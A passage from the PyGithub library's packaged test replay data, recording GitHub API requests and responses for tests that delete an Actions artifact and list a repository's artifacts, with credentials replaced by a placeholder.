}},"network_count":6,"subscribers_count":3} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Artifact.testDelete.txt0000644000175100001660000005562614756101563022573 0ustar00runnerdockerhttps GET api.github.com None /repos/lexa/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Thu, 13 Oct 2022 11:21:25 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"fa17a5276e7acf7935e265c35562e198168eba7e364cec522ed3c943db34b9ab"'), ('Last-Modified', 'Tue, 27 Sep 2022 16:35:24 GMT'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, admin:ssh_signing_key, delete:packages, delete_repo, gist, notifications, project, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2022-12-12 11:42:35 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4986'), ('X-RateLimit-Reset', '1665662666'), ('X-RateLimit-Used', '14'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'D144:88EA:13115A0:1360F01:6347F4B5')] {"id":542181388,"node_id":"R_kgDOIFEIDA","name":"PyGithub","full_name":"lexa/PyGithub","private":false,"owner":{"login":"lexa","id":80391,"node_id":"MDQ6VXNlcjgwMzkx","avatar_url":"https://avatars.githubusercontent.com/u/80391?v=4","gravatar_id":"","url":"https://api.github.com/users/lexa","html_url":"https://github.com/lexa","followers_url":"https://api.github.com/users/lexa/followers","following_url":"https://api.github.com/users/lexa/following{/other_user}","gists_url":"https://api.github.com/users/lexa/gists{/gist_id}","starred_url":"https://api.github.com/users/lexa/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/lexa/subscriptions","organizations_url":"https://api.github.com/users/lexa/orgs","repos_url":"https://api.github.com/users/lexa/repos","events_url":"https://api.github.com/users/lexa/events{/privacy}","received_events_url":"https://api.github.com/users/lexa/received_events","type":"User","site_admin":false},"html_url":"https://github.com/lexa/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/lexa/PyGithub","forks_url":"https://api.github.com/repos/lexa/PyGithub/forks","keys_url":"https://api.github.com/repos/lexa/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/lexa/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/lexa/PyGithub/teams","hooks_url":"https://api.github.com/repos/lexa/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/lexa/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/lexa/PyGithub/events","assignees_url":"https://api.github.com/repos/lexa/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/lexa/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/lexa/PyGithub/tags","blobs_url":"https://api.github.com/repos/lexa/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/lexa/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/lexa/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/lexa/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/lexa/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/lexa/PyGithub/languages","stargazers_url":"https://api.github.com/repos/lexa/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/lexa/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/lexa/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/lexa/PyGithub/subscription","commits_url":"https://api.github.com/repos/lexa/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/lexa/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/lexa/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/lexa/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/lexa/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/lexa/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/lexa/PyGithub/merges","archive_url":"https://api.github.com/repos/lexa/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/lexa/PyGithub/downloads","issues_url":"https://api.github.com/repos/lexa/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/lexa/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/lexa/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/lexa/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/lexa/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/lexa/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/lexa/PyGithub/deployments","created_at":"2022-09-27T16:22:55Z","updated_at":"2022-09-27T16:35:24Z","pushed_at":"2022-10-13T10:44:09Z","git_url":"git://github.com/lexa/PyGithub.git","ssh_url":"git@github.com:lexa/PyGithub.git","clone_url":"https://github.com/lexa/PyGithub.git","svn_url":"https://github.com/lexa/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":11667,"stargazers_count":0,"watchers_count":0,"language":"Python","has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":1,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":[],"visibility":"public","forks":0,"open_issues":1,"watchers":0,"default_branch":"master","permissions":{"admin":true,"maintain":true,"push":true,"triage":true,"pull":true},"temp_clone_token":"","allow_squash_merge":true,"allow_merge_commit":true,"allow_rebase_merge":true,"allow_auto_merge":false,"delete_branch_on_merge":false,"allow_update_branch":false,"use_squash_pr_title_as_default":false,"squash_merge_commit_message":"COMMIT_MESSAGES","squash_merge_commit_title":"COMMIT_OR_PR_TITLE","merge_commit_message":"PR_TITLE","merge_commit_title":"MERGE_MESSAGE","parent":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2022-10-12T13:43:12Z","pushed_at":"2022-10-13T10:07:22Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":13604,"stargazers_count":5535,"watchers_count":5535,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":1533,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":161,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1533,"open_issues":161,"watchers":5535,"default_branch":"master"},"source":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2022-10-12T13:43:12Z","pushed_at":"2022-10-13T10:07:22Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":13604,"stargazers_count":5535,"watchers_count":5535,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":1533,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":161,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1533,"open_issues":161,"watchers":5535,"default_branch":"master"},"network_count":1533,"subscribers_count":0} https GET api.github.com None /repos/lexa/PyGithub/actions/artifacts/396724439 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Thu, 13 Oct 2022 11:21:25 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"eb922edbfb3be37adfad91d445b790d560458056f413c992245fab18f82ff90f"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, admin:ssh_signing_key, delete:packages, delete_repo, gist, notifications, project, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2022-12-12 11:42:35 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4985'), ('X-RateLimit-Reset', '1665662666'), ('X-RateLimit-Used', '15'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'D14E:9294:41910F2:427C643:6347F4B5')] {"id":396724439,"node_id":"MDg6QXJ0aWZhY3QzOTY3MjQ0Mzk=","name":"test-artifact","size_in_bytes":0,"url":"https://api.github.com/repos/lexa/PyGithub/actions/artifacts/396724439","archive_download_url":"https://api.github.com/repos/lexa/PyGithub/actions/artifacts/396724439/zip","expired":false,"created_at":"2022-10-13T10:44:34Z","updated_at":"2022-10-13T10:44:36Z","expires_at":"2023-01-11T10:44:23Z","workflow_run":{"id":3241693286,"repository_id":542181388,"head_repository_id":542181388,"head_branch":"generate-artifact","head_sha":"64ac5680db075fc4cb6404fa49ccbd349a5c2d02"}} https DELETE api.github.com None /repos/lexa/PyGithub/actions/artifacts/396724439 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('Server', 'GitHub.com'), ('Date', 'Thu, 13 Oct 2022 11:21:26 GMT'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, admin:ssh_signing_key, delete:packages, delete_repo, gist, notifications, project, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2022-12-12 11:42:35 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4984'), ('X-RateLimit-Reset', '1665662666'), ('X-RateLimit-Used', '16'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('X-GitHub-Request-Id', 'D15A:2275:3BBD835:3CA61EF:6347F4B5')] https GET api.github.com None /repos/lexa/PyGithub/actions/artifacts/396724439 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 404 [('Server', 'GitHub.com'), ('Date', 'Thu, 13 Oct 2022 11:21:26 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, admin:ssh_signing_key, delete:packages, delete_repo, gist, notifications, project, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2022-12-12 11:42:35 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4983'), ('X-RateLimit-Reset', '1665662666'), ('X-RateLimit-Used', '17'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'D168:1AFB:3CAF4A2:3D97D08:6347F4B6')] {"message":"Not Found","documentation_url":"https://docs.github.com/rest/reference/actions#get-an-artifact"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Artifact.testGetArtifactsFromRepo.txt0000644000175100001660000005202114756101563025405 0ustar00runnerdockerhttps GET api.github.com None /repos/transmission-web-control/transmission-web-control/actions/artifacts {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Thu, 01 Jun 2023 09:00:14 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"5ef5e46c0a24fc04914634deca5e5f518d7716cc4d332a2e04bb45642a97a724"'), ('X-OAuth-Scopes', 'delete:packages, gist, read:discussion, read:org, repo, workflow, write:packages'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Link', '; rel="next", ; rel="last"'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4699'), ('X-RateLimit-Reset', '1685613199'), ('X-RateLimit-Used', '301'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '9C04:5FFF:7CC2CE:8257C4:64785E1E')] {"total_count":592,"artifacts":[{"id":724959172,"node_id":"MDg6QXJ0aWZhY3Q3MjQ5NTkxNzI=","name":"build-zip","size_in_bytes":1887574,"url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/724959172","archive_download_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/724959172/zip","expired":false,"created_at":"2023-05-31T22:13:53Z","updated_at":"2023-05-31T22:13:54Z","expires_at":"2023-08-29T22:13:22Z","workflow_run":{"id":5138174031,"repository_id":631628708,"head_repository_id":631628708,"head_branch":"chore/i18n-pull","head_sha":"422d7ddc771d36f613e863db5ceb2bc5dae6849e"}},{"id":724959170,"node_id":"MDg6QXJ0aWZhY3Q3MjQ5NTkxNzA=","name":"build-tar","size_in_bytes":1597578,"url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/724959170","archive_download_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/724959170/zip","expired":false,"created_at":"2023-05-31T22:13:53Z","updated_at":"2023-05-31T22:13:54Z","expires_at":"2023-08-29T22:13:21Z","workflow_run":{"id":5138174031,"repository_id":631628708,"head_repository_id":631628708,"head_branch":"chore/i18n-pull","head_sha":"422d7ddc771d36f613e863db5ceb2bc5dae6849e"}},{"id":724958832,"node_id":"MDg6QXJ0aWZhY3Q3MjQ5NTg4MzI=","name":"build-zip","size_in_bytes":1887574,"url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/724958832","archive_download_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/724958832/zip","expired":false,"created_at":"2023-05-31T22:13:35Z","updated_at":"2023-05-31T22:13:36Z","expires_at":"2023-08-29T22:13:18Z","workflow_run":{"id":5138173436,"repository_id":631628708,"head_repository_id":631628708,"head_branch":"chore/i18n-pull","head_sha":"2c1a086e4db4dc677804eea6b461dbcf963d03f5"}},{"id":724958830,"node_id":"MDg6QXJ0aWZhY3Q3MjQ5NTg4MzA=","name":"build-tar","size_in_bytes":1597386,"url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/724958830","archive_download_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/724958830/zip","expired":false,"created_at":"2023-05-31T22:13:35Z","updated_at":"2023-05-31T22:13:36Z","expires_at":"2023-08-29T22:13:17Z","workflow_run":{"id":5138173436,"repository_id":631628708,"head_repository_id":631628708,"head_branch":"chore/i18n-pull","head_sha":"2c1a086e4db4dc677804eea6b461dbcf963d03f5"}},{"id":724958281,"node_id":"MDg6QXJ0aWZhY3Q3MjQ5NTgyODE=","name":"build-zip","size_in_bytes":1887335,"url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/724958281","archive_download_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/724958281/zip","expired":false,"created_at":"2023-05-31T22:13:10Z","updated_at":"2023-05-31T22:13:11Z","expires_at":"2023-08-29T22:12:35Z","workflow_run":{"id":5138168043,"repository_id":631628708,"head_repository_id":631628708,"head_branch":"master","head_sha":"64fe2f32cfc56d0303881313bdcb41e433173893"}},{"id":724958278,"node_id":"MDg6QXJ0aWZhY3Q3MjQ5NTgyNzg=","name":"build-tar","size_in_bytes":1596631,"url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/724958278","archive_download_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/724958278/zip","expired":false,"created_at":"2023-05-31T22:13:10Z","updated_at":"2023-05-31T22:13:11Z","expires_at":"2023-08-29T22:12:34Z","workflow_run":{"id":5138168043,"repository_id":631628708,"head_repository_id":631628708,"head_branch":"master","head_sha":"64fe2f32cfc56d0303881313bdcb41e433173893"}},{"id":724958105,"node_id":"MDg6QXJ0aWZhY3Q3MjQ5NTgxMDU=","name":"build-zip","size_in_bytes":1887335,"url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/724958105","archive_download_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/724958105/zip","expired":false,"created_at":"2023-05-31T22:13:04Z","updated_at":"2023-05-31T22:13:06Z","expires_at":"2023-08-29T22:12:55Z","workflow_run":{"id":5138169628,"repository_id":631628708,"head_repository_id":631628708,"head_branch":"master","head_sha":"03c2d3a9830af81414810cc51f6507073b7451f2"}},{"id":724958104,"node_id":"MDg6QXJ0aWZhY3Q3MjQ5NTgxMDQ=","name":"build-tar","size_in_bytes":1596716,"url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/724958104","archive_download_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/724958104/zip","expired":false,"created_at":"2023-05-31T